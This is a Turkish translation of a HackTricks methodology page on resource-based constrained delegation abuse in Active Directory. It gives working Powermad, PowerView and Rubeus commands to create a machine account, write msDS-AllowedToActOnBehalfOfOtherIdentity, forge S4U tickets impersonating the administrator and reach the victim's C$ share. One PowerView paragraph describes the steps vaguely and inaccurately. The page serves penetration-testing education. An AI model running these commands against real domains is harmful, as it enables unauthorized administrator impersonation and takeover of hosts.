hacktricks/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md
2024-02-10 18:14:16 +00:00

13 KiB
Raw Blame History

Kaynak Tabanlı Kısıtlanmış Delege Etme

AWS hackleme becerilerinizi sıfırdan kahraman seviyesine getirin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları:

Kaynak Tabanlı Kısıtlanmış Delege Etmenin Temelleri

Bu, temel Kısıtlanmış Delege Etme ile benzerdir, ancak bir nesneye herhangi bir kullanıcıyı bir hizmete taklit etme izni vermek yerine, Kaynak Tabanlı Kısıtlanmış Delege Etme, nesneye kimin herhangi bir kullanıcıyı taklit edebileceğini belirler.

Bu durumda, kısıtlanmış nesnenin, herhangi bir başka kullanıcıyı kendisiyle ilgili taklit edebilecek kullanıcının adını içeren msDS-AllowedToActOnBehalfOfOtherIdentity adında bir özelliği olacaktır.

Bu Kısıtlanmış Delege Etme ile diğer delege etme türleri arasındaki önemli bir fark da, bir makine hesabına yazma izinleri (GenericAll/GenericWrite/WriteDacl/WriteProperty/vb) olan herhangi bir kullanıcının msDS-AllowedToActOnBehalfOfOtherIdentity'yi ayarlayabilmesidir (Diğer Delege Etme türlerinde etki alanı yönetici ayrıcalıklarına ihtiyacınız vardı).

Yeni Kavramlar

Kısıtlanmış Delege Etme'de, kullanıcının userAccountControl değerinin içindeki TrustedToAuthForDelegation bayrağının bir S4U2Self gerçekleştirmek için gerektiği söylenmişti. Ancak bu tamamen doğru değildir.
Gerçek şu ki, o değere sahip olmasanız bile, bir hizmet (SPN'ye sahip olan) olarak herhangi bir kullanıcıya karşı bir S4U2Self gerçekleştirebilirsiniz, ancak TrustedToAuthForDelegation'a sahipseniz, dönen TGS İleriye Yönlendirilebilir olacaktır ve bu bayrağa sahip değilseniz, dönen TGS İleriye Yönlendirilemez olacaktır.

Ancak, S4U2Proxy'de kullanılan TGS İleriye Yönlendirilemez ise, bir temel Kısıtlanmış Delege Etme'yi kötüye kullanmaya çalışmak çalışmayacaktır. Ancak, bir Kaynak Tabanlı kısıtlanmış delege etmeyi sömürmeye çalışıyorsanız, bu çalışacaktır (bu bir zayıflık değil, görünüşe göre bir özelliktir).

Saldırı Yapısı

Eğer bir Bilgisayar hesabına yazma yetkisi eşdeğer ayrıcalıklarına sahipseniz, o makinede yetkili erişim elde edebilirsiniz.

Saldırganın zaten kurban bilgisayarında yazma yetkisi eşdeğer ayrıcalıklarına sahip olduğunu varsayalım.

  1. Saldırgan, bir SPN'ye sahip olan bir hesabı zaten ele geçirir veya bir tane oluşturur ("Hizmet A"). Herhangi bir Yönetici Kullanıcısı herhangi bir özel ayrıcalığa sahip olmadan 10 adede kadar Bilgisayar nesnesi oluşturabilir ve bunlara bir SPN atayabilir. Bu nedenle saldırgan sadece bir Bilgisayar nesnesi oluşturabilir ve bir SPN atayabilir.
  2. Saldırgan, kurban bilgisayarında (Hizmet B) YAZMA yetkisini kötüye kullanarak kaynak tabanlı kısıtlanmış delege etmeyi yapılandırır ve Hizmet A'nın o kurban bilgisayarına karşı herhangi bir kullanıcıyı taklit etmesine izin verir.
  3. Saldırgan, Rubeus'u kullanarak Hizmet A'dan Hizmet B'ye tam bir S4U saldırısı (S4U2Self ve S4U2Proxy) gerçekleştirir ve Hizmet B'ye yetkili erişime sahip bir kullanıcı için bir TGS talep eder.
  4. S4U2Self (ele geçirilen/oluşturulan SPN hesabından): Yönetici için bana bir TGS isteği yapar (İleriye Yönlendirilemez).
  5. S4U2Proxy: Önceki adımda kullanılan İleriye Yönlendirilemez TGS'yi kullanarak Yönetici'den kurban ana bilgisayara bir TGS talep eder.
  6. İleriye Yönlendirilemez TGS kullansanız bile, kaynak tabanlı kısıtlanmış delege etmeyi sömürdüğünüz için çalışacaktır.
  7. Saldırgan, bilet aktarabilir ve kullanıcıyı taklit ederek kurban Hizmet B'ye erişim elde edebilir.

Etki alanının MachineAccountQuota değerini kontrol etmek için şunu kullanabilirsiniz:

Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota

Saldırı

Bir Bilgisayar Nesnesi Oluşturma

Powermad kullanarak etki alanı içinde bir bilgisayar nesnesi oluşturabilirsiniz::

import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

# Check if created
Get-DomainComputer SERVICEA

Resource-based Constrained Delegation'ı Yapılandırma

activedirectory PowerShell modülünü kullanarak

Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked

powerview kullanarak

Powerview, aktif dizin ortamında çalışan bir PowerShell betiğidir. Bu betik, aktif dizin ortamında kullanıcılar, gruplar, bilgisayarlar ve diğer nesneler hakkında bilgi toplamak ve manipüle etmek için kullanılır. Powerview, etkili bir şekilde aktif dizin ortamını keşfetmek ve saldırı vektörleri oluşturmak için kullanılabilir.

Powerview'ı kullanarak, kaynak tabanlı sınırlı yetkilendirme (resource-based constrained delegation) gibi bir saldırı tekniğini gerçekleştirebilirsiniz. Bu teknik, bir hedef kullanıcının kimlik bilgilerini ele geçirerek, başka bir kullanıcının kimliğiyle hedef sunuculara erişim sağlamayı mümkün kılar.

Bu saldırı tekniğini gerçekleştirmek için aşağıdaki adımları izleyebilirsiniz:

  1. Powerview'ı hedef sunucuya yükleyin.
  2. Powerview'ı çalıştırarak aktif dizin ortamını keşfedin.
  3. Hedef kullanıcının kimlik bilgilerini ele geçirin.
  4. Hedef sunucuda kaynak tabanlı sınırlı yetkilendirme yapılandırması kontrol edin.
  5. Hedef sunucuda kaynak tabanlı sınırlı yetkilendirme yapılandırması varsa, hedef kullanıcının kimlik bilgilerini kullanarak başka bir kullanıcının kimliğiyle hedef sunucuya erişim sağlayın.

Bu saldırı tekniği, hedef sunucuda kaynak tabanlı sınırlı yetkilendirme yapılandırması olduğunda etkili olabilir. Ancak, bu teknik yalnızca yasal izinlerle ve etik kurallara uygun olarak kullanılmalıdır.

$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

Tam bir S4U saldırısı gerçekleştirme

İlk olarak, 123456 şifresiyle yeni bir Bilgisayar nesnesi oluşturduk, bu yüzden o şifrenin hash değerine ihtiyacımız var:

.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local

Bu, hesap için RC4 ve AES karmaşalarını yazdıracaktır.
Şimdi, saldırı gerçekleştirilebilir:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt

Rubeus'un /altservice parametresini kullanarak sadece bir kez isteyerek daha fazla bilet oluşturabilirsiniz:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt

{% hint style="danger" %} Not edin ki kullanıcıların "Delege edilemez" adında bir özelliği vardır. Bir kullanıcının bu özelliği True olarak ayarlanmışsa, onun yerine geçemezsiniz. Bu özellik bloodhound içinde görülebilir. {% endhint %}

Erişim

Son komut satırı, tam S4U saldırısını gerçekleştirecek ve TGS'yi Administrator'dan hedef ana bilgisayara belleğe enjekte edecektir.
Bu örnekte Administrator'dan CIFS hizmeti için bir TGS talep edildi, bu yüzden C$'ye erişebileceksiniz:

ls \\victim.domain.local\C$

Farklı hizmet biletlerini kötüye kullanma

Burada mevcut hizmet biletlerini öğrenin.

Kerberos Hataları

  • KDC_ERR_ETYPE_NOTSUPP: Bu, kerberos'un DES veya RC4 kullanmaması şeklinde yapılandırıldığı ve sadece RC4 karma değerini sağladığınız anlamına gelir. Rubeus'a en azından AES256 karma değerini sağlayın (veya sadece rc4, aes128 ve aes256 karma değerlerini sağlayın). Örnek: [Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())
  • KRB_AP_ERR_SKEW: Bu, mevcut bilgisayarın saati ile DC'nin saati farklı olduğunda ve kerberos'un düzgün çalışmadığı anlamına gelir.
  • preauth_failed: Bu, verilen kullanıcı adı + karma değerlerinin oturum açmak için çalışmadığı anlamına gelir. Karma değerlerini oluştururken kullanıcı adının içine "" koymayı unutmuş olabilirsiniz (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER /domain:domain.local`)
  • KDC_ERR_BADOPTION: Bu şunları ifade edebilir:
  • Taklit etmeye çalıştığınız kullanıcının istenen hizmete erişimi olmayabilir (çünkü taklit edemezsiniz veya yeterli ayrıcalığa sahip değildir)
  • İstenen hizmet mevcut değil (örneğin winrm için bir bilet isterseniz ancak winrm çalışmıyorsa)
  • Oluşturulan sahte bilgisayar, zayıf hedef sunucu üzerindeki ayrıcalıklarını kaybetmiş olabilir ve onları geri vermeniz gerekebilir.

Referanslar

AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları: